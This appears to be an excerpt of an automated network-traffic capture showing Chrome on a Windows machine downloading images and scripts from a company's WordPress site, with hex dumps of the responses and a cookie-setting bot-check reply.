2024-10-07 11:17:02 UTC	7959	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 e8 00 00 00 f0 08 06 00 00 00 0a 2c 28 8e 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 16 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 30 36 37 20 37 39 2e 31 35 37 37 34 37 2c 20 32 30 31 35 2f 30 33 2f 33 30 2d 32 33 3a 34 30 3a 34 32 20 20 Data Ascii: PNGIHDR,(tEXtSoftwareAdobe ImageReadyqe<iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42
2024-10-07 11:17:02 UTC	8000	IN	Data Raw: f9 11 63 20 b7 49 52 8e 43 24 29 35 32 e3 e0 ee b9 80 73 cc d0 b1 d7 98 c5 fa e9 26 12 96 b5 34 a1 5b 25 29 4e 66 d0 d7 08 9a 63 24 69 c5 fe 64 82 8a e2 14 6a 27 ee 43 97 56 fe 00 03 53 09 bc af 16 f0 90 8d 80 b7 eb e4 45 eb ce ab d5 03 2c 73 5d d2 ad 29 72 ce 93 7b 8f ee 0d 02 c7 c1 4c 3c fd 1c cb 16 c7 61 5c ee 05 34 74 b5 a4 5b 09 da 16 40 db 04 7f 1a e6 70 2d a1 92 2a 09 7d 99 8c d7 1a 22 01 ad 1e 95 ce dd 8f dc 78 b0 f1 9d 03 61 f4 48 9a 3f 5b 86 db 00 43 b2 16 31 e8 24 d6 51 77 3a 66 98 d9 f8 21 f0 23 eb 03 3a 53 df 17 14 b4 44 30 94 63 52 8d 9f ee 4f 50 96 b3 4f b8 cc e5 e7 31 e9 b1 24 fb 0b 47 30 c0 63 78 9d 97 29 9e ef d6 e3 58 21 32 58 2f 7b 01 ae 31 41 82 e4 63 e6 31 f2 a0 63 10 a2 6b 70 7f 0f 41 2c 3a eb 94 46 88 5c 51 e1 d5 6a 09 5a 3e f3 48 Data Ascii: c IRC$)52s&4[%)Nfc$idj'CVSE,s])r{L<a\4t[@p-*}"xaH?[C1$Qw:f!#:SD0cROPO1$G0cx)X!2X/{1Ac1ckpA,:F\QjZ>H
2024-10-07 11:17:02 UTC	8000	IN	Data Raw: 80 45 cc 50 7c 64 42 af c2 74 2d 84 9e 17 ae b3 ee 79 7a 19 e3 e6 69 bc ef 89 f8 49 95 ea bf a4 d5 27 74 2b ce aa 9b 9b 9c 53 ce 88 94 33 27 c9 f2 82 55 ac cf 92 a0 f6 aa ae 92 ad b3 7e 53 da b7 e4 45 60 53 7f d1 3c ff a3 79 9e 45 46 2f 27 fd 29 1b c3 cb 3b 79 10 69 a3 80 af 21 d8 ed 37 ab 2f 75 98 67 ca 99 a5 b8 d6 be fb 71 0b 7d 38 72 02 30 42 f1 46 59 92 f6 f0 f3 9d 91 b4 57 0d c8 48 ff 6a ba 70 bf 13 4f ec 30 cc 32 81 ff 1b 41 4b 66 70 33 4b 74 bf 3e 75 d0 bc da ad 01 0d 2f 97 56 4e ef c7 9a e7 63 a4 95 10 c0 10 39 a2 38 94 b3 63 0c f5 7c 01 f1 a0 1f ff 5e c6 80 55 82 b4 c3 8e e8 9a c0 6b ba 16 fc 1b 1a eb b8 4f 06 7a be aa 11 91 b4 af 6d 67 3a cc cd 52 1a 90 9c b4 f7 fa f9 f7 2e d0 69 aa 2f a2 79 18 83 b7 5b a5 bb c5 da 7a 07 eb d4 cf 8a 01 99 c0 bd Data Ascii: EP\|dBt-yziI't+S3'U~SE`S<yEF/');yi!7/ugq}8r0BFYWHjpO02AKfp3Kt>u/VNc98c\|^UkOzmg:R.i/y[z
2024-10-07 11:17:02 UTC	8000	IN	Data Raw: d2 5e 9c 8b 63 c9 55 60 1f bf 2a e9 75 42 63 67 d5 33 ea a2 f6 0e 49 92 e8 fd 0e 98 1a 11 14 fa d9 d7 01 aa dd 0e d7 b3 54 b2 11 8a 73 e7 3a 30 c7 ac a8 a7 62 79 e3 21 8e 75 e5 f8 9c e1 b2 67 a5 05 df 63 55 2c 4a e4 35 79 4d 78 06 e1 c2 0f 21 d8 9c a5 55 77 cb 16 79 28 cd 23 30 0f 4c b4 e8 46 67 cd b4 7a b5 b4 6f 2c e0 a4 0b ae 20 31 0d 38 6d fb 30 d7 90 27 bf 15 42 98 27 4b 52 6a b3 53 85 07 4b be ff 58 f3 7c 24 7d 57 99 42 24 5e ef 1c 5f 06 b2 bf ec db db 0b 28 7c 2b ad f8 3c 4c f6 ac a4 d7 44 39 46 cd 10 14 e6 f2 9e 0f 81 e0 9d 23 e9 be a5 02 2f 6b 0d a0 6c 57 3d 43 e8 2c 09 8e 09 b3 be ff a7 10 fa 03 09 96 8f c2 db df 87 62 3b cb 36 e2 da ae b6 8c a4 b0 5b 37 50 bf 93 14 74 ad 8b cf b9 a6 ae 2f c7 b9 42 92 44 fc 29 52 52 eb cc 36 02 ef f4 69 78 28 fe Data Ascii: ^cU`*uBcg3ITs:0by!ugcU,J5yMx!Uwy(#0LFgzo, 18m0'B'KRjSKX\|$}WB$^_(\|+<LD9F#/klW=C,b;6[7Pt/BD)RR6ix(
2024-10-07 11:17:02 UTC	2710	IN	Data Raw: 89 a0 b8 65 e6 bb 49 18 e8 67 de 88 73 aa d9 f8 0c 88 bf 41 e7 b9 98 c2 1e b3 12 1a bf 4d 11 4a 6d c7 14 fe b7 92 cc d6 19 b2 74 b8 93 a0 0f 2f b5 88 21 87 48 0b 5b 77 4a 6b f3 32 28 21 91 80 41 22 2b c0 b6 b6 9d cf 90 65 a6 65 62 bb f1 f7 76 20 b4 76 2f 93 d0 8c 15 12 88 c3 12 5a f2 98 e0 98 84 45 73 dc 74 c9 a5 c0 a0 e6 ff b4 a4 7b 7b 15 6f ef 73 d1 78 8b 4c 95 32 ad db 4a 9c 3e 03 c2 31 b0 c4 c0 0f cd ce f9 7e 1f ac df ea 1e 37 00 88 68 3a 3f 4b f3 73 ef 76 a6 68 49 e2 b1 04 d3 74 1e 0b 7b d4 89 a1 0d fa af 12 93 14 c8 bf 3f e8 18 c7 34 76 96 f6 77 12 60 95 90 19 d7 90 38 de 77 11 81 36 03 84 40 9b 2f 36 ee d6 fd aa 45 00 89 ad 84 d7 da 65 e1 e3 12 27 1c a8 d0 fd 52 17 e6 e0 4e f0 b6 e6 09 67 c9 18 5d 65 01 f4 3c 29 c9 fd ab d6 e3 bd 8b 48 88 cd 40 28 Data Ascii: eIgsAMJmt/!H[wJk2(!A"+eebv v/ZEst{{osxL2J>1~7h:?KsvhIt{?4vw`8w6@/6Ee'RNg]e<)H@(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	49786	192.185.125.111	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:02 UTC	700	OUT	GET /2016/wp-content/themes/twb_2016/assets/images/flags.png HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/styles/main.css?ver=6.5.4 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 11:17:02 UTC	233	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:17:02 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 27 Jan 2016 14:57:00 GMT Accept-Ranges: bytes Content-Length: 14686 Content-Type: image/png
2024-10-07 11:17:02 UTC	7959	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 03 c1 00 00 00 0c 08 06 00 00 00 42 d6 bf f7 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 28 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 30 31 34 20 37 39 2e 31 35 36 37 39 37 2c 20 32 30 31 34 2f 30 38 2f 32 30 2d 30 39 3a 35 33 3a 30 32 20 20 Data Ascii: PNGIHDRBtEXtSoftwareAdobe ImageReadyqe<(iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c014 79.156797, 2014/08/20-09:53:02
2024-10-07 11:17:02 UTC	6727	IN	Data Raw: 23 28 98 92 7f 5c 4b 33 5d 07 63 cc ed e2 c3 97 bd 2d 56 7e d7 b2 8a c4 d8 84 a0 c4 f6 04 bc bb 6c 87 a8 8a 19 ba 6b f5 51 8e ed 4b b3 e8 4e 63 2f a1 99 cc f0 f9 3a f6 20 08 fe c9 62 df 6b 26 2b 71 a6 d6 f1 2a aa 79 9f 87 be c1 af 2b dc 08 75 49 18 61 24 2c aa 7b b9 39 a2 52 b8 e5 db 3d d8 b8 6a 17 06 8f 29 c5 c1 27 8d 41 65 f1 00 68 e1 1f e8 1e f3 d0 21 ba df 63 81 82 49 9f ee f1 8a 8a 31 1b 98 1d 9a 90 8a 4e f6 f7 f6 76 fb 64 67 e7 7c 5d f6 48 ef 33 3e 9a 72 4e 24 eb 58 cb 85 f9 f9 44 4e cf d6 17 4a 92 87 cf 20 a7 f3 12 f4 70 24 56 69 f3 94 8d 40 d6 2f 2e 87 67 f8 b1 f6 aa 99 a3 85 c6 a9 2f 56 8b 96 ec 95 79 15 30 5e 1e ac 20 b0 6d fa 8c a4 a5 45 06 5a 61 02 86 ea ad 5b 81 e6 fa 18 dd 6c 9e bc b9 30 03 f9 5a fa c2 ef 4f 38 df 7d b7 8f 64 fa 9c 49 f2 ab Data Ascii: #(\K3]c-V~lkQKNc/: bk&+q*y+uIa$,{9R=j)'Aeh!cI1Nvdg\|]H3>rN$XDNJ p$Vi@/.g/Vy0^ mEZa[l0ZO8}dI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	49787	192.185.125.111	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:02 UTC	639	OUT	GET /2016/wp-content/themes/twb_2016/assets/images/logos/q1.png HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.twbcompany.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 11:17:02 UTC	233	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:17:02 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 27 Jan 2016 14:59:05 GMT Accept-Ranges: bytes Content-Length: 13737 Content-Type: image/png
2024-10-07 11:17:02 UTC	7959	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 c8 00 00 00 ae 08 06 00 00 00 73 f5 42 d9 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 16 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 30 36 37 20 37 39 2e 31 35 37 37 34 37 2c 20 32 30 31 35 2f 30 33 2f 33 30 2d 32 33 3a 34 30 3a 34 32 20 20 Data Ascii: PNGIHDRsBtEXtSoftwareAdobe ImageReadyqe<iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42
2024-10-07 11:17:02 UTC	5778	IN	Data Raw: ac 76 f4 53 6a 83 57 c4 7d fc 8c 5b 70 5f 2b 88 bc 1d fd 94 2b f6 f3 d1 cf 95 98 ab 9b a0 65 da 04 8e d8 62 f8 13 15 2e 4c be 00 ba f8 0f 79 15 68 d4 06 b5 b3 60 45 48 33 ed 05 f2 93 22 09 7f 2f 00 9c 4b fe 8e d0 fd 31 4f 72 5f 0c 5f 33 5b dc bb 12 f4 b7 0a 16 c5 93 a0 ab 99 e4 17 f4 c8 81 c9 1e 16 f7 bd 83 f7 f2 7d 8f 41 b3 f1 fd 3b c1 c2 38 2c 2c 62 6a 33 33 a4 52 29 aa ab 4b a7 ac 42 ef 5c 96 7e 61 e9 b2 03 a4 e0 2f c8 3f 45 76 0f 0c 4a a9 be db 03 5e c4 d5 3e 1e c5 df fb 42 f2 85 a5 55 58 1a f3 cd c6 04 e5 c1 80 87 05 98 45 41 41 07 45 48 37 08 fb f7 22 98 42 51 bb f7 74 24 c9 fe 3c 22 fe 9e 06 9c e8 b8 22 2a ac be f2 92 50 e3 dc bf 4f 69 d7 a6 8a 8c 69 2c 79 79 57 ff 86 09 32 28 a4 5f f2 3e ee ff 04 08 95 67 41 10 83 34 06 b6 34 7c a9 7b 46 c2 2c fd Data Ascii: vSjW}[p_++eb.Lyh`EH3"/K1Or__3[}A;8,,bj33R)KB\~a/?EvJ^>BUXEAAEH7"BQt$<""*POii,yyW2(_>gA44\|{F,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	49788	192.185.125.111	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:02 UTC	590	OUT	GET /2016/wp-content/plugins/contact-form-7/includes/js/index.js?ver=5.8.7 HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.twbcompany.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 11:17:02 UTC	162	IN	HTTP/1.1 409 Conflict Date: Mon, 07 Oct 2024 11:17:02 GMT Server: Apache Content-Length: 83 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-10-07 11:17:02 UTC	83	IN	Data Raw: 3c 73 63 72 69 70 74 3e 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 20 3d 20 22 68 75 6d 61 6e 73 5f 32 31 39 30 39 3d 31 22 3b 20 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 72 65 6c 6f 61 64 28 74 72 75 65 29 3c 2f 73 63 72 69 70 74 3e Data Ascii: <script>document.cookie = "humans_21909=1"; document.location.reload(true)</script>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	49791	192.185.125.111	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:02 UTC	387	OUT	GET /2016/wp-content/uploads/2015/09/twc-thumb.jpg HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 11:17:02 UTC	234	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:17:02 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 27 Jan 2016 14:54:08 GMT Accept-Ranges: bytes Content-Length: 30674 Content-Type: image/jpeg
2024-10-07 11:17:02 UTC	7958	IN	Data Raw: ff d8 ff e1 00 18 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 00 00 00 00 00 00 00 00 ff ec 00 11 44 75 63 6b 79 00 01 00 04 00 00 00 32 00 00 ff e1 03 81 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 30 36 37 20 37 39 2e 31 35 37 37 34 37 2c 20 32 30 31 35 2f 30 33 2f 33 30 2d 32 33 3a 34 30 3a 34 32 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 6d Data Ascii: ExifII*Ducky2http://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xm
2024-10-07 11:17:02 UTC	8000	IN	Data Raw: 82 83 41 a0 56 a7 8a 96 ef e4 46 fe 5b fe 95 f3 2b f1 b1 46 3b 2f e6 79 d4 fd 81 18 a6 08 b5 d0 cb 41 3a 2d 74 4a aa 2a a1 19 2c ed 67 36 72 c1 55 0e 76 7a d1 fa 6f 71 23 f0 d4 93 4e e4 7d 83 92 d1 8d 16 ab 6f b9 48 13 75 d9 c0 96 36 1c 38 b5 2c 24 b8 f1 3f 72 39 77 35 33 19 51 31 15 4a b4 b4 5a 09 69 7b ea 47 72 cd e5 4f d3 a0 51 d9 cd 56 b9 09 ba 82 7c a6 aa 6c 91 0a 50 d0 7e 2a 2d 91 8d 5a 31 e7 41 fc 7a 16 0c 7a 93 a5 a0 a7 04 ab 67 66 aa 32 e4 34 0d 56 95 99 44 88 f1 92 9b 20 0e 0a be 7c 92 6b 4d 54 26 c9 0e ad 12 ae 94 12 a7 6f 21 f4 1e b8 56 ef e4 69 ee 73 b8 14 2f 35 2f 6a fd 8a 4e 94 77 21 ba 42 42 8d b3 be ac aa c6 61 a8 d7 54 37 17 0a d1 61 92 bd ca 05 e4 f1 52 79 ed ec 37 15 d8 ca b8 9b ad 10 6b 55 b0 4d aa 42 df 62 95 b2 b6 f5 63 2a a8 07 b7 Data Ascii: AVF[+F;/yA:-tJ,g6rUvzoq#N}oHu68,$?r9w53Q1JZi{GrOQV\|lP~-Z1Azzgf24VD \|kMT&o!Vis/5/jNw!BBaT7aRy7kUMBbc*
2024-10-07 11:17:02 UTC	8000	IN	Data Raw: 57 d5 b0 8a 88 5a 5c aa 32 7e a6 cc 96 a1 80 34 1e 2b ca cd 9a 93 bc 9e 8e 3c 77 8d a0 eb e5 9d 8d 07 73 80 48 4f d5 31 62 a8 74 82 a3 b5 71 92 67 66 e4 3b 69 7b 89 36 da 38 ab 4e 9f f4 d6 56 5f ea e5 93 14 7a d0 fc c5 66 79 a7 ed af c5 ec 5e b4 7a 26 e5 be 88 7c f5 a8 e5 7f a5 8a c3 2b ce 81 a1 58 63 e2 e4 c9 49 32 8e d1 f9 07 da 99 c3 e9 b8 b8 2d 0d 82 30 0f 17 1d 4a 70 36 f7 ba 95 fc 87 b5 5c bf d0 be 3c 0b 7b 2f 81 06 34 01 b5 a2 80 70 08 8d a7 15 80 1a d9 49 a1 b5 f3 6a b3 5a f6 6e 6c e5 9a 15 52 d8 db 6a e3 6f 6a 0e 49 1b a8 4d 9b 73 de 99 1e 56 b9 c7 40 92 9c 13 0b de 78 dc a8 e5 b6 91 dc ae 3a eb fa 14 7d 4b ad 36 09 43 61 35 db f3 72 aa 6f a2 f5 d8 fa 83 ce 34 a3 64 d4 f2 f6 d1 72 59 d1 b8 e4 c9 5b 55 d6 51 c2 2f c7 cb 86 56 d4 16 3c 1a f8 a9 aa Data Ascii: WZ\2~4+<wsHO1btqgf;i{68NV_zfy^z&\|+XcI2-0Jp6\<{/4pIjZnlRjojIMsV@x:}K6Ca5ro4drY[UQ/V<
2024-10-07 11:17:02 UTC	6716	IN	Data Raw: 72 a6 4a 77 52 8f 1b 85 c1 b5 6b b8 22 ee a1 08 dd 6b 10 f4 ee b3 99 86 45 04 72 b8 34 76 56 c9 6e de 6b ae 92 b4 f7 d5 14 c3 6e 58 d7 c8 1e 4b 79 70 4a 34 55 d7 1d a9 f9 46 e6 57 92 5d ad f3 68 83 70 8e 4b ea 1a c7 6e 8a d7 1d b4 55 f8 cd b8 56 31 da 8b 1e 5d cd 58 c6 4b a9 42 a2 f3 40 79 1b ac ad 94 24 36 05 43 8e a5 5b d0 1e e0 b1 0e a7 9a c4 dc 48 1e 5f ea 01 7a 85 7b f4 af 46 c7 eb 39 bb 32 df b2 26 8a d0 6a e4 87 45 e8 8f ea 8e bb ac 74 03 b1 5b 9e 97 36 16 48 c5 8a ad 75 2a 0b 79 77 a6 be 5a b5 7a ab 71 69 49 86 98 6e 9d 2c eb c9 3b 46 a4 fa c7 4e c4 c0 ea 0f c4 c3 76 f6 33 88 bd 0f 24 38 70 9c e3 57 59 37 fb 76 41 e6 92 ef 1a d5 41 d9 36 a3 6c b1 ab da dd 7e 27 a1 c2 b5 e8 97 a2 09 96 c8 db 8e d6 8a 54 2a fa fb 13 42 19 e7 ad 05 92 c5 85 8f 2c 7d Data Ascii: rJwRk"kEr4vVnknXKypJ4UFW]hpKnUV1]XKB@y$6C[H_z{F92&jEt[6HuywZzqiIn,;FNv3$8pWY7vAA6l~'TB,}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	49789	192.185.125.111	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:02 UTC	592	OUT	GET /2016/wp-content/themes/twb_2016/assets/scripts/main.min.js?ver=20120206 HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.twbcompany.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 11:17:02 UTC	269	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:17:02 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 27 Jan 2016 14:57:40 GMT Accept-Ranges: bytes Content-Length: 48520 Vary: Accept-Encoding Content-Type: application/javascript
2024-10-07 11:17:02 UTC	7923	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 20 6e 61 76 69 67 61 74 69 6f 6e 28 29 7b 24 28 22 23 6d 6f 62 69 6c 65 2d 6e 61 76 2d 63 6f 6e 74 61 69 6e 65 72 22 29 2e 6f 6e 28 22 63 6c 69 63 6b 20 74 6f 75 63 68 73 74 61 72 74 22 2c 22 61 2e 6d 6f 62 69 6c 65 2d 6e 61 76 2d 74 72 69 67 67 65 72 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 2e 73 74 6f 70 50 72 6f 70 61 67 61 74 69 6f 6e 28 29 2c 61 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 24 28 22 62 6f 64 79 22 29 2e 74 6f 67 67 6c 65 43 6c 61 73 73 28 22 6d 65 6e 75 2d 6f 70 65 6e 22 29 7d 29 2c 24 28 22 23 70 72 69 6d 61 72 79 2d 6e 61 76 20 6c 69 22 29 2e 6f 6e 28 22 63 6c 69 63 6b 20 74 6f 75 63 68 73 74 61 72 74 22 2c 22 2e 6e 65 78 74 2d 6d 65 6e 75 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 2e 73 74 6f Data Ascii: function navigation(){$("#mobile-nav-container").on("click touchstart","a.mobile-nav-trigger",function(a){a.stopPropagation(),a.preventDefault(),$("body").toggleClass("menu-open")}),$("#primary-nav li").on("click touchstart",".next-menu",function(a){a.sto
2024-10-07 11:17:02 UTC	8000	IN	Data Raw: 5f 65 76 65 6e 74 73 3d 7b 7d 29 7d 2c 61 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 65 2e 45 76 65 6e 74 45 6d 69 74 74 65 72 3d 66 2c 61 7d 2c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 22 65 76 65 6e 74 45 6d 69 74 74 65 72 2f 45 76 65 6e 74 45 6d 69 74 74 65 72 22 2c 5b 5d 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 61 7d 29 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 61 3a 65 2e 45 76 65 6e 74 45 6d 69 74 74 65 72 3d 61 7d 2e 63 61 6c 6c 28 74 68 69 73 29 2c 66 75 6e 63 74 69 6f Data Ascii: _events={})},a.noConflict=function(){return e.EventEmitter=f,a},"function"==typeof define&&define.amd?define("eventEmitter/EventEmitter",[],function(){return a}):"object"==typeof module&&module.exports?module.exports=a:e.EventEmitter=a}.call(this),functio
